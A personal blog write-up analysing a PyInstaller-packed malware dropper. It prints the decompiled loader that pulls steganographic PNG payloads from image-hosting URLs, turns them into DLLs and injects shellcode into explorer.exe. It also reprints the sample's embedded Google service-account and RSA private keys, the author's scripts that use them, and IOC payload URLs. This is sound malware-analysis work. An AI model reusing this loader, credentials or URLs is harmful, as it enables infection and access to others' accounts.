Malware Analysis - Real Case 7
Preface
Hi everyone, it’s been a long time that I did not post any articles in this blog because of my laziness. Currently I’m ready for Malware Analysis internship and fortunately my brother who is studying at MTA sent me a sample which is kinda interesting to practice. Now it’s all my progress so far, let’s go!
Sample: (MD5: 3d5546abea3478d7a08d4b6f6b5cf844)
Analyse
First, always check sample information:
It’s packed by PyInstaller, so it’s very easy that we can unpack this file by using pyinextractor-ng:
If you read the previous posts, you would see that I used pyinextractor instead of pyinextractor-ng. But during my progress, when I tried to unpack binary, I realised that it could not extract all files fully, there are somes that not exist when I extracted and just when I used pyinextractor-ng, all the files were extracted. Next, let’s decompile main.pyc and see its content:
from net import *
from stealth import *
from inject import *
from procfind import *
import requests, tempfile, platform
def grab_modules(url):
data = requests.get(url)
return data.content
def load_modules():
arch = platform.architecture()[0]
count = 0
module_urls = handle_comms_setup().split(';')
shellcode = module_urls[:3]
explorer = module_urls[3:5]
keybrowse = module_urls[5:]
if '32' in arch:
mod1 = explorer[1]
mod2 = shellcode[2]
mod3 = keybrowse[1]
else:
mod1 = explorer[0]
mod2 = shellcode[1]
mod3 = keybrowse[0]
modules = [mod1, mod2, mod3]
for i in range(0, len(modules)):
payload_img = grab_modules(modules[i])
payload = base64.b64decode(decodeLSB(payload_img))
out_path = tempfile.gettempdir() + '\\mod%d.dll' % (i + 1)
open(out_path, 'wb').write(payload)
def main():
load_modules()
target = get_pid('explorer.exe')
file = tempfile.gettempdir() + '\\mod2.dll'
shellcode = open(file, 'rb').read()
inject(target, shellcode)
if __name__ == '__main__':
main()
First, there were three functions: grab_modules, load_modules, main:
- load_modules: It tried to base on architecture to create 3 DLL files.
- grab_modules: get URL content
- main: insert shellcode to explorer.exe process
Second, you can see that in the code there are so many weird libraries, and to create an exe from source code, we need to combine source code + all used libraries + all used DLL files. It means that when we unpack the binary, the source code of the library will be extracted too. Do the same with main.pyc, this is all files inside (data.py was extracted based on net.py):
Let’s start with net.py because it had so many functions inside and this was almost the mechanism of binary:
import gspread, time, random, base64, binascii
from oauth2client.service_account import ServiceAccountCredentials
from Crypto.PublicKey import RSA
from Crypto.Random import get_random_bytes
from Crypto.Cipher import PKCS1_OAEP
from arc4 import ARC4
import ssl
from data import *
if hasattr(ssl, '_create_unverified_context'):
ssl._create_default_https_context = ssl._create_unverified_context
def rsa_encrypt(data):
session_key = get_random_bytes(16)
cipher_rsa = PKCS1_OAEP.new(RSA.import_key(config.backend_public_key))
enc_session_key = cipher_rsa.encrypt(session_key)
rc4 = ARC4(session_key)
ciphertext = rc4.encrypt(data)
return enc_session_key + ciphertext
def rsa_decrypt(data, private):
cipher_rsa = PKCS1_OAEP.new(private)
dec_session_key = cipher_rsa.decrypt(data[:128])
rc4 = ARC4(dec_session_key)
decrypted = rc4.decrypt(data[128:])
return decrypted
def init_api():
creds = ServiceAccountCredentials.from_json_keyfile_dict(config.json_secrets, config.scope)
client = gspread.authorize(creds)
sheet = client.open('MPMGA_DB').sheet1
return sheet
def generate_local_keys():
key = RSA.generate(1024)
private = key
exported_public = key.publickey().export_key('PEM')
return (exported_public, private)
def next_available_row(sheet):
str_list = list(filter(None, sheet.col_values(1)))
return int(len(str_list) + 1)
def get_module_urls(sheet, public, private):
encrypted_public = base64.b64encode(rsa_encrypt(public))
time.sleep(random.randint(2, 20))
row_counter = next_available_row(sheet)
print 'Located Empty Row at %d!' % row_counter
print 'Requesting Module URLs'
sheet.update_cell(row_counter, 1, encrypted_public)
while True:
time.sleep(random.randint(10, 30))
module_urls = sheet.cell(row_counter, 2).value
if module_urls != '':
break
module_urls = rsa_decrypt(base64.b64decode(module_urls), private)
print 'Got Module URLs from Drive: %s' % module_urls
return module_urls
def handle_comms_setup():
sheet_handle = init_api()
public, private = generate_local_keys()
return get_module_urls(sheet_handle, public, private)
In this peace of code, it tried to encrypt/decrypt using PKCS1_OAEP RSA and RC4 which publickey is taken from class config. As I told you before, I extracted data.py from net.py and inside that file it contained both publickey and privatekey:
class config:
backend_public_key = '-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDEWNlbXX1s04e+4Boc/usIIfaM\nakMJ6W3gOIxuUmo03aaLFoGBgRSgJbDXTc8G3SWHLQfWrHjM6xaKl1V5FHBQw5Hl\nyDY0c41JqiPLnHpUEC+eqKPXRXBaoX+ApWhbTAdQOwt3ziHT7d/33eVqCk4YOrF5\nSLG3uUjF4Sck5gsL2wIDAQAB\n-----END PUBLIC KEY-----'
json_secrets = {'type': 'service_account',
'project_id': 'mpmga-v1',
'private_key_id': '170cc4b32e5dbda1be093c242dbbd74beeb5f57e',
'private_key': '-----BEGIN PRIVATE KEY-----\nMIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDOj42L8JB8xi0k\n5sF4CfwIjmPzXnv+LvFxDRTC/ICt90EmmrDLT+3qv8zHiXJm4leOF69gkpSixUKx\nJoUrzqhnPIen7KKrYz3CF5Vl0PWfNd1QVwIiqaWWTl5g2Pv5DakmzPV9LHQTWADr\nJqfD0O/bHxp+GbAdIink+neLngOrywb+pAdAS5Mf916arCF+LE0dWo9lA4T5NvDT\n/63F61MCdYcNV37jwq1LAd34HuY8w5I0Ou0c2VYny4PhE6h1ARd9tbkWbgmFRfVi\nEFp6w+1E9Pj5cDoH/Ec25huPrdmvwzrm0DHhUjhrYqqH0I/Je2OiuXB58z99nYyR\nQi5tnWl5AgMBAAECggEAE4e+LeeSecGxHgaVb1ieVF7GM4oQ9jEREgvXFTKTph81\nMUW6BpcpmyMEZS9pOjIXbi9uHRbu58735dELEV/KS2yNNQLqRIMvIS1iqkxOFP4e\nTUzUvltE9Ue2o7iQZnV0s174rRupY/TTrWgrv5d/PjwcIKUkIjULOgO2juRjW3g8\n1lws2ti1bNw5EJnP2xZYoGsJzBfc41sBN9bqOSEnc6hkUvvlXPIow+/DaAJ1l9oi\n7+imY1/Pqfh3HH0NXGFqCoZtYUVi8NiRCh28mq0Lxr2AN0+Y8u8S1kL3h8x/LfAR\n+crfZw73Rxoso4UMtRnmcU2nSTRY9BpkycAGJ4l/ywKBgQDmcpbfOS6/gRGw6L+N\nrWwIHfps40HTihi3O5fhIRgJq95eR0LVz+8/qHOKcGjtyyd81UvNBfLlTmoDAYev\nM2LVHT3NMWdqqslgBwAo/xw2N8AZ4+v+S9jFIm53NH7JEZ7VEgrHzGqZzkOSzCC1\nzoUgc4ViymVxm49K++e0v2solwKBgQDldus/5/rq5ejCa8yfguhlmpA8UoyVzo6Y\nVX4V5B93KbBhyq2W2BCVmhsrxm40VfDTk7VrJ8S/el/zZYUpwuXb6+c+uGVn6ti3\ns1GFj1W65xAFfiv0vHKXh06F2xGxGnHSuAs0qnx6uuPRfe+WzFB9WHjBHeWr/Lre\nfJf5gJmwbwKBgBrEHHn47lEX8LIXlogiKHYY5UlYbADh/VTq+w0PBve4mq9gn4au\nDB/ctO7Td5yHCCMbsx4xHrE7llybBON4mHYgW1lF77kX9SPOLFqWpvQ1LX7UVkjH\nDnp3MVVvJ3q7LTOaUN48A/WxW2/lfbcgMZ4/TLLYx0eWxeHzuEnqIcwpAoGBAM7O\nwPOV5mVy1Lb1ZTSWTVHVXg2f8KjLw2S0GLEuKtXBMwDQJGeBUGEkxTxM2OI+WpC1\n3Zo3+3D/oB7D7qJWz8fH82Bp3Kst1CisatrO9ls/CQeKUZ9/gF/lSPYHHQjbZp6d\n1SugRBRxAAa9VAQ7HIf8Bsk2YtsBKoJ/FJGAQAPtAoGAMpqSZr9nUOyM4ld5lVGH\nhcxwrR3nQFpxXcQYz2fRCsZKAgPdkcVpge4pcm1TlPVxzNZjFEvMX+V4JbyvuDYF\n432N8G5+yicWv+ILv71bI6GNXvX4Kn5nurxWbYVGeHBxU2hBi5D0BQgw71Oe/p9E\n1EOiTe/cljO3ihzuxbfNBKc=\n-----END PRIVATE KEY-----\n',
'client_email': 'mpmga-363@mpmga-v1.iam.gserviceaccount.com',
'client_id': '105843829909201329343',
'auth_uri': 'https://accounts.google.com/o/oauth2/auth',
'token_uri': 'https://oauth2.googleapis.com/token',
'auth_provider_x509_cert_url': 'https://www.googleapis.com/oauth2/v1/certs',
'client_x509_cert_url': 'https://www.googleapis.com/robot/v1/metadata/x509/mpmga-363%40mpmga-v1.iam.gserviceaccount.com'}
scope = [
'https://www.googleapis.com/auth/drive']
In other functions behind, it will connect Google Spreadsheet which sheet is named MPMGA_DB by applying class config and each time it will read the data in cell 2 in each row and decrypt it:
print 'Requesting Module URLs'
sheet.update_cell(row_counter, 1, encrypted_public)
while True:
time.sleep(random.randint(10, 30))
module_urls = sheet.cell(row_counter, 2).value
if module_urls != '':
break
Everything was very clear, data in column 2 would be the main thing to focus. Now just extract all datas in column 1 and 2 and decrypt it:
- Find Spreadsheet ID:
import gspread from oauth2client.service_account import ServiceAccountCredentials json_secrets = { 'type': 'service_account', 'project_id': 'mpmga-v1', 'private_key_id': '170cc4b32e5dbda1be093c242dbbd74beeb5f57e', 'private_key': '''-----BEGIN PRIVATE KEY----- MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDOj42L8JB8xi0k 5sF4CfwIjmPzXnv+LvFxDRTC/ICt90EmmrDLT+3qv8zHiXJm4leOF69gkpSixUKx JoUrzqhnPIen7KKrYz3CF5Vl0PWfNd1QVwIiqaWWTl5g2Pv5DakmzPV9LHQTWADr JqfD0O/bHxp+GbAdIink+neLngOrywb+pAdAS5Mf916arCF+LE0dWo9lA4T5NvDT /63F61MCdYcNV37jwq1LAd34HuY8w5I0Ou0c2VYny4PhE6h1ARd9tbkWbgmFRfVi EFp6w+1E9Pj5cDoH/Ec25huPrdmvwzrm0DHhUjhrYqqH0I/Je2OiuXB58z99nYyR Qi5tnWl5AgMBAAECggEAE4e+LeeSecGxHgaVb1ieVF7GM4oQ9jEREgvXFTKTph81 MUW6BpcpmyMEZS9pOjIXbi9uHRbu58735dELEV/KS2yNNQLqRIMvIS1iqkxOFP4e TUzUvltE9Ue2o7iQZnV0s174rRupY/TTrWgrv5d/PjwcIKUkIjULOgO2juRjW3g8 1lws2ti1bNw5EJnP2xZYoGsJzBfc41sBN9bqOSEnc6hkUvvlXPIow+/DaAJ1l9oi 7+imY1/Pqfh3HH0NXGFqCoZtYUVi8NiRCh28mq0Lxr2AN0+Y8u8S1kL3h8x/LfAR +crfZw73Rxoso4UMtRnmcU2nSTRY9BpkycAGJ4l/ywKBgQDmcpbfOS6/gRGw6L+N rWwIHfps40HTihi3O5fhIRgJq95eR0LVz+8/qHOKcGjtyyd81UvNBfLlTmoDAYev M2LVHT3NMWdqqslgBwAo/xw2N8AZ4+v+S9jFIm53NH7JEZ7VEgrHzGqZzkOSzCC1 zoUgc4ViymVxm49K++e0v2solwKBgQDldus/5/rq5ejCa8yfguhlmpA8UoyVzo6Y VX4V5B93KbBhyq2W2BCVmhsrxm40VfDTk7VrJ8S/el/zZYUpwuXb6+c+uGVn6ti3 s1GFj1W65xAFfiv0vHKXh06F2xGxGnHSuAs0qnx6uuPRfe+WzFB9WHjBHeWr/Lre fJf5gJmwbwKBgBrEHHn47lEX8LIXlogiKHYY5UlYbADh/VTq+w0PBve4mq9gn4au DB/ctO7Td5yHCCMbsx4xHrE7llybBON4mHYgW1lF77kX9SPOLFqWpvQ1LX7UVkjH Dnp3MVVvJ3q7LTOaUN48A/WxW2/lfbcgMZ4/TLLYx0eWxeHzuEnqIcwpAoGBAM7O wPOV5mVy1Lb1ZTSWTVHVXg2f8KjLw2S0GLEuKtXBMwDQJGeBUGEkxTxM2OI+WpC1 3Zo3+3D/oB7D7qJWz8fH82Bp3Kst1CisatrO9ls/CQeKUZ9/gF/lSPYHHQjbZp6d 1SugRBRxAAa9VAQ7HIf8Bsk2YtsBKoJ/FJGAQAPtAoGAMpqSZr9nUOyM4ld5lVGH hcxwrR3nQFpxXcQYz2fRCsZKAgPdkcVpge4pcm1TlPVxzNZjFEvMX+V4JbyvuDYF 432N8G5+yicWv+ILv71bI6GNXvX4Kn5nurxWbYVGeHBxU2hBi5D0BQgw71Oe/p9E 1EOiTe/cljO3ihzuxbfNBKc= -----END PRIVATE KEY-----''', 'client_email': 'mpmga-363@mpmga-v1.iam.gserviceaccount.com', 'client_id': '105843829909201329343', 'auth_uri': 'https://accounts.google.com/o/oauth2/auth', 'token_uri': 'https://oauth2.googleapis.com/token', 'auth_provider_x509_cert_url': 'https://www.googleapis.com/oauth2/v1/certs', 'client_x509_cert_url': 'https://www.googleapis.com/robot/v1/metadata/x509/mpmga-363%40mpmga-v1.iam.gserviceaccount.com' } scope = ['https://www.googleapis.com/auth/drive', 'https://www.googleapis.com/auth/spreadsheets.readonly'] credentials = ServiceAccountCredentials.from_json_keyfile_dict(json_secrets, scope) gc = gspread.authorize(credentials) spreadsheet = gc.open('MPMGA_DB') spreadsheet_id = spreadsheet.id print(f'Spreadsheet ID: {spreadsheet_id}')
-
With Spreadsheet ID, connect and extract data in column 2 and decrypt. Fortunately I found the correct module URL which was used to create 3 DLL files:
import gspread from oauth2client.service_account import ServiceAccountCredentials json_secrets = { 'type': 'service_account', 'project_id': 'mpmga-v1', 'private_key_id': '170cc4b32e5dbda1be093c242dbbd74beeb5f57e', 'private_key': '''-----BEGIN PRIVATE KEY----- MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDOj42L8JB8xi0k 5sF4CfwIjmPzXnv+LvFxDRTC/ICt90EmmrDLT+3qv8zHiXJm4leOF69gkpSixUKx JoUrzqhnPIen7KKrYz3CF5Vl0PWfNd1QVwIiqaWWTl5g2Pv5DakmzPV9LHQTWADr JqfD0O/bHxp+GbAdIink+neLngOrywb+pAdAS5Mf916arCF+LE0dWo9lA4T5NvDT /63F61MCdYcNV37jwq1LAd34HuY8w5I0Ou0c2VYny4PhE6h1ARd9tbkWbgmFRfVi EFp6w+1E9Pj5cDoH/Ec25huPrdmvwzrm0DHhUjhrYqqH0I/Je2OiuXB58z99nYyR Qi5tnWl5AgMBAAECggEAE4e+LeeSecGxHgaVb1ieVF7GM4oQ9jEREgvXFTKTph81 MUW6BpcpmyMEZS9pOjIXbi9uHRbu58735dELEV/KS2yNNQLqRIMvIS1iqkxOFP4e TUzUvltE9Ue2o7iQZnV0s174rRupY/TTrWgrv5d/PjwcIKUkIjULOgO2juRjW3g8 1lws2ti1bNw5EJnP2xZYoGsJzBfc41sBN9bqOSEnc6hkUvvlXPIow+/DaAJ1l9oi 7+imY1/Pqfh3HH0NXGFqCoZtYUVi8NiRCh28mq0Lxr2AN0+Y8u8S1kL3h8x/LfAR +crfZw73Rxoso4UMtRnmcU2nSTRY9BpkycAGJ4l/ywKBgQDmcpbfOS6/gRGw6L+N rWwIHfps40HTihi3O5fhIRgJq95eR0LVz+8/qHOKcGjtyyd81UvNBfLlTmoDAYev M2LVHT3NMWdqqslgBwAo/xw2N8AZ4+v+S9jFIm53NH7JEZ7VEgrHzGqZzkOSzCC1 zoUgc4ViymVxm49K++e0v2solwKBgQDldus/5/rq5ejCa8yfguhlmpA8UoyVzo6Y VX4V5B93KbBhyq2W2BCVmhsrxm40VfDTk7VrJ8S/el/zZYUpwuXb6+c+uGVn6ti3 s1GFj1W65xAFfiv0vHKXh06F2xGxGnHSuAs0qnx6uuPRfe+WzFB9WHjBHeWr/Lre fJf5gJmwbwKBgBrEHHn47lEX8LIXlogiKHYY5UlYbADh/VTq+w0PBve4mq9gn4au DB/ctO7Td5yHCCMbsx4xHrE7llybBON4mHYgW1lF77kX9SPOLFqWpvQ1LX7UVkjH Dnp3MVVvJ3q7LTOaUN48A/WxW2/lfbcgMZ4/TLLYx0eWxeHzuEnqIcwpAoGBAM7O wPOV5mVy1Lb1ZTSWTVHVXg2f8KjLw2S0GLEuKtXBMwDQJGeBUGEkxTxM2OI+WpC1 3Zo3+3D/oB7D7qJWz8fH82Bp3Kst1CisatrO9ls/CQeKUZ9/gF/lSPYHHQjbZp6d 1SugRBRxAAa9VAQ7HIf8Bsk2YtsBKoJ/FJGAQAPtAoGAMpqSZr9nUOyM4ld5lVGH hcxwrR3nQFpxXcQYz2fRCsZKAgPdkcVpge4pcm1TlPVxzNZjFEvMX+V4JbyvuDYF 432N8G5+yicWv+ILv71bI6GNXvX4Kn5nurxWbYVGeHBxU2hBi5D0BQgw71Oe/p9E 1EOiTe/cljO3ihzuxbfNBKc= -----END PRIVATE KEY-----''', 'client_email': 'mpmga-363@mpmga-v1.iam.gserviceaccount.com', 'client_id': '105843829909201329343', 'auth_uri': 'https://accounts.google.com/o/oauth2/auth', 'token_uri': 'https://oauth2.googleapis.com/token', 'auth_provider_x509_cert_url': 'https://www.googleapis.com/oauth2/v1/certs', 'client_x509_cert_url': 'https://www.googleapis.com/robot/v1/metadata/x509/mpmga-363%40mpmga-v1.iam.gserviceaccount.com' } scope = ['https://www.googleapis.com/auth/drive', 'https://www.googleapis.com/auth/spreadsheets.readonly'] credentials = ServiceAccountCredentials.from_json_keyfile_dict(json_secrets, scope) gc = gspread.authorize(credentials) spreadsheet_id = '1wGyFMb5VvBnTaluQS8hkb8V7YzlT0l4uNiD-SK9Aq5s' spreadsheet = gc.open_by_key(spreadsheet_id) worksheet = spreadsheet.sheet1 content = worksheet.get_all_values() for row in content: if row[1] != '': print(row[1])
The script to decrypt:
from Crypto.PublicKey import RSA from Crypto.Cipher import PKCS1_OAEP from Crypto.Cipher import ARC4 import base64 import requests data = base64.b64decode("r2ymFlg59kLMNKOv6EHPxMg1z0erfPZkd9sZe63UgB+JQ0cQVkk6RfSEJbX1EDMh9zgFXRDjt1LjWLW08ebkHpXCY5I2rl+Z6YVu3QR3wxa2xbICzpZjUKlnhte4VzFd4I7up9OQmiAF0nvlidz8Ix3LjjldVF7+W5r7maP3KjkQ5JWanNosnx8vHOPr/dqk0GjWJDpXWx9Qe2ypIXMVxir9o96urLcBk5ByYRvhJQMMmDGXaM1HVt+q9D/wH8isHgU25hwa7L+Qmdg3b57wKknVTiWCxPjnmMDO6+Rv+LGu6VV1HAiYHzJ3JcbwY3x0MPWoWqGFFgpAYY0XzPeQQR3hNy1CZZijtILmLr/snbdPy4h1QCCBSsUnDzN39oIBqmU6fF+Y7KL98n9XiQdfONzP5kkXvT0vaEMHAMzfhy8WToZeV1wMFiOwZFmXxXolpReAIX3v2VzK1XjEqX5dedCe9BycZQlX5SOcW/xUA0MxLcrxhMLeprrkBdP76HeSAFeSlhQoTZNUJK+3r1XqKNs=") private_key = """-----BEGIN RSA PRIVATE KEY----- MIICXAIBAAKBgQDR1l5lq8y/0DCvQYOubau0NwSvSSXnBozOFs8Q584kiFziAxPz hOgbcWBHW0csXdY6pQ6LMLTeWLT1DQArc0okM8h+WMhT2RBp2oH297ThUOhF/KI8 rMyrFrn06evAqchxv1rmtuJEYyIhetmjMOjD1Ht52ii4/lbG2WPdoD2LLQIDAQAB AoGAH8gyfX8/MIlBqnXHklaJlG7l3n+7himbj4ZsX/DgK+/cc54IOlDVz/xE2yHz 3oAq97Byyrm6l1fDtr78mNgqMRnRs3u6jpCG34HLacGewHtXZRgqAERvkc8f9xNJ WEoQG6bnoMzCzxuR5l3kJMiGKfw/2PgZXyh0xZWK0bO0kZECQQDmPYNhjWtvBtHE OhSd1aHrVh9fOFL3mGfLTkzCn7mXKMHM1mFeFthT7caljCHHMiFH6/RqKbpEwUeT MCFVugb9AkEA6VB6+ITByo1ux5p4NEUNRWabEaxqK6MQbMRCp/djgDIzzKaB0QNJ faGrEMMFQSwuFS6diIogZFyvz0rbSKgD8QJBAKrxLOR27TcHpyK7xKbTAF8MGErI NMFjxFxsDA3MLS0Ps6Pz32LOL1tRBNXQzxtoGtGdXGCeDpARuKSNbZKKhbkCQH7P A0c3wKx6mo9aYaLnNQNXdUjx0PLOugqj0SbByw7OOmEszrnvc24ZBIUjuiNmA9X3 dB/WEyz5Q4UDRpQC3cECQHGXYwmLk/7ItaFYdVZbABRaZ2gmWgo+v26/Zl8eJVMJ ppGD/PMwMsdKPn2cMgpQMgBQXLOr788HrwLrEidnPTQ= -----END RSA PRIVATE KEY-----""" def grab_modules(url): data = requests.get(url) return data.content def rsa_decrypt(data, private): private_key = RSA.importKey(private) cipher_rsa = PKCS1_OAEP.new(private_key) dec_session_key = cipher_rsa.decrypt(data[:128]) rc4 = ARC4.new(dec_session_key) decrypted = rc4.decrypt(data[128:]) return decrypted decrypted_data = rsa_decrypt(data, private_key) urls = decrypted_data.decode('utf-8', errors='ignore') module_urls = urls.split(';') shellcode = module_urls[:3] explorer = module_urls[3:5] keybrowse = module_urls[5:] print(shellcode) print(explorer) print(keybrowse)
Now we have some module URLs, how to retrive DLL files? Well, inside the binary, there is a library named stealth which is stealth.py:
from PIL import Image
import base64
from io import BytesIO
bitsPerChar = 8
bitsPerPixel = 3
maxBitStuffing = 2
extension = 'png'
def getLSBsFromPixels(binaryPixels):
totalZeros = 0
binList = []
for binaryPixel in binaryPixels:
for p in binaryPixel:
if p[-1] == '0':
totalZeros = totalZeros + 1
else:
totalZeros = 0
binList.append(p[-1])
if totalZeros == bitsPerChar:
return binList
def decodeLSB(imageFilename):
img_io = BytesIO()
img_io.write(imageFilename)
img = Image.open(img_io)
pixels = list(img.getdata())
binaryPixels = [list(bin(p)[2:].rjust(bitsPerChar, '0') for p in pixel) for pixel in pixels]
binList = getLSBsFromPixels(binaryPixels)
message = ('').join([chr(int(('').join(binList[i:i + bitsPerChar]), 2)) for i in range(0, len(binList) - bitsPerChar, bitsPerChar)])
return message
Also in main they imported their function to process the URL:
Very clear, I just edited a bit and then I got full 3 DLL files:
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
from Crypto.Cipher import ARC4
import base64
import requests
data = base64.b64decode("r2ymFlg59kLMNKOv6EHPxMg1z0erfPZkd9sZe63UgB+JQ0cQVkk6RfSEJbX1EDMh9zgFXRDjt1LjWLW08ebkHpXCY5I2rl+Z6YVu3QR3wxa2xbICzpZjUKlnhte4VzFd4I7up9OQmiAF0nvlidz8Ix3LjjldVF7+W5r7maP3KjkQ5JWanNosnx8vHOPr/dqk0GjWJDpXWx9Qe2ypIXMVxir9o96urLcBk5ByYRvhJQMMmDGXaM1HVt+q9D/wH8isHgU25hwa7L+Qmdg3b57wKknVTiWCxPjnmMDO6+Rv+LGu6VV1HAiYHzJ3JcbwY3x0MPWoWqGFFgpAYY0XzPeQQR3hNy1CZZijtILmLr/snbdPy4h1QCCBSsUnDzN39oIBqmU6fF+Y7KL98n9XiQdfONzP5kkXvT0vaEMHAMzfhy8WToZeV1wMFiOwZFmXxXolpReAIX3v2VzK1XjEqX5dedCe9BycZQlX5SOcW/xUA0MxLcrxhMLeprrkBdP76HeSAFeSlhQoTZNUJK+3r1XqKNs=")
private_key = """-----BEGIN RSA PRIVATE KEY-----
MIICXAIBAAKBgQDR1l5lq8y/0DCvQYOubau0NwSvSSXnBozOFs8Q584kiFziAxPz
hOgbcWBHW0csXdY6pQ6LMLTeWLT1DQArc0okM8h+WMhT2RBp2oH297ThUOhF/KI8
rMyrFrn06evAqchxv1rmtuJEYyIhetmjMOjD1Ht52ii4/lbG2WPdoD2LLQIDAQAB
AoGAH8gyfX8/MIlBqnXHklaJlG7l3n+7himbj4ZsX/DgK+/cc54IOlDVz/xE2yHz
3oAq97Byyrm6l1fDtr78mNgqMRnRs3u6jpCG34HLacGewHtXZRgqAERvkc8f9xNJ
WEoQG6bnoMzCzxuR5l3kJMiGKfw/2PgZXyh0xZWK0bO0kZECQQDmPYNhjWtvBtHE
OhSd1aHrVh9fOFL3mGfLTkzCn7mXKMHM1mFeFthT7caljCHHMiFH6/RqKbpEwUeT
MCFVugb9AkEA6VB6+ITByo1ux5p4NEUNRWabEaxqK6MQbMRCp/djgDIzzKaB0QNJ
faGrEMMFQSwuFS6diIogZFyvz0rbSKgD8QJBAKrxLOR27TcHpyK7xKbTAF8MGErI
NMFjxFxsDA3MLS0Ps6Pz32LOL1tRBNXQzxtoGtGdXGCeDpARuKSNbZKKhbkCQH7P
A0c3wKx6mo9aYaLnNQNXdUjx0PLOugqj0SbByw7OOmEszrnvc24ZBIUjuiNmA9X3
dB/WEyz5Q4UDRpQC3cECQHGXYwmLk/7ItaFYdVZbABRaZ2gmWgo+v26/Zl8eJVMJ
ppGD/PMwMsdKPn2cMgpQMgBQXLOr788HrwLrEidnPTQ=
-----END RSA PRIVATE KEY-----"""
def grab_modules(url):
data = requests.get(url)
return data.content
def rsa_decrypt(data, private):
private_key = RSA.importKey(private)
cipher_rsa = PKCS1_OAEP.new(private_key)
dec_session_key = cipher_rsa.decrypt(data[:128])
rc4 = ARC4.new(dec_session_key)
decrypted = rc4.decrypt(data[128:])
return decrypted
decrypted_data = rsa_decrypt(data, private_key)
urls = decrypted_data.decode('utf-8', errors='ignore')
module_urls = urls.split(';')
shellcode = module_urls[:3]
explorer = module_urls[3:5]
keybrowse = module_urls[5:]
mod1 = explorer[0]
mod2 = shellcode[1]
mod3 = keybrowse[0]
from PIL import Image
import base64
from io import BytesIO
bitsPerChar = 8
bitsPerPixel = 3
maxBitStuffing = 2
extension = 'png'
def getLSBsFromPixels(binaryPixels):
totalZeros = 0
binList = []
for binaryPixel in binaryPixels:
for p in binaryPixel:
if p[-1] == '0':
totalZeros = totalZeros + 1
else:
totalZeros = 0
binList.append(p[-1])
if totalZeros == bitsPerChar:
return binList
def decodeLSB(imageFilename):
img_io = BytesIO()
img_io.write(imageFilename)
img = Image.open(img_io)
pixels = list(img.getdata())
binaryPixels = [list(bin(p)[2:].rjust(bitsPerChar, '0') for p in pixel) for pixel in pixels]
binList = getLSBsFromPixels(binaryPixels)
message = ('').join([chr(int(('').join(binList[i:i + bitsPerChar]), 2)) for i in range(0, len(binList) - bitsPerChar, bitsPerChar)])
return message
modules = [mod1, mod2, mod3]
for i in range(0, len(modules)):
payload_img = grab_modules(modules[i])
payload = base64.b64decode(decodeLSB(payload_img))
out_path = 'C:\\Users\\Admin\\Downloads\\mod%d.dll' % (i + 1)
open(out_path, 'wb').write(payload)
With 3 DLL files we got, I analysed mod2.dll first because it was called in main.py:
We can see that it called inject library which will insert mod2.dll to explorer.exe and mod2.dll was defined as shellcode. First, I took its MD5 sum and found it on Virustotal:
Virustotal mentioned that it’s the Donut shellcode, I tried to emulate it by using speakeasy but it’s timeout:
From here I could know that because I had been delayed by the shellcode, my speakeasy was bad like that. Fortunately I found an interesting article, they mentioned that donut would compile the program to other format so maybe it can delay my speakeasy and give us difficulties when analysing. To continue our investigation, we need to unpack the shellcode to get the exe inside. It’s very lucky that there’s a tool on Github help me do this: undonut:
Now just put our binary and set -recover flag to get exe inside:
Run speakeasy again, now I can see many things from mod2.dll, especially it will call mod1.dll:
Continue with mod1.dll, quickly use speakeasy:
You can see that there are so many weird register keys which were written to the system. Do the same with mod3.dll and we can see that they called many APIs and interact with temp folder where mod1.dll was running, so from here I could note that mod1.dll would connect with mod3.dll:
IOCs
Dropped files:
- mod1.dll (MD5: 172f09dcc19dad4f837319d21539dbab)
- mod2.dll (MD5: 344d726472bf00ef1ffbb27533122fe1)
- mod3.dll (MD5: 8f7b7edb77d9154cee60545d37c86321)
URLs:
- https://i.ibb.co/8js9r82/img-x7005.png
- https://i.ibb.co/s1fZCGw/img-x6656.png
- https://i.ibb.co/Brx2zHk/img-x6432.png
- https://i.ibb.co/gV3BN8D/img-x8613.png
- https://i.ibb.co/mvj9fB5/img-x7449.png
- https://i.ibb.co/dK4fPsQ/img-x6222.png
- https://i.ibb.co/SmQP2z4/img-x5589.png
This is all my progress so far. This is just a my small preparation for upcoming internship but it is still very interesting to try. Last words, thank you very much for reading my articles. See you in the next post, bye 🫀🫀🫀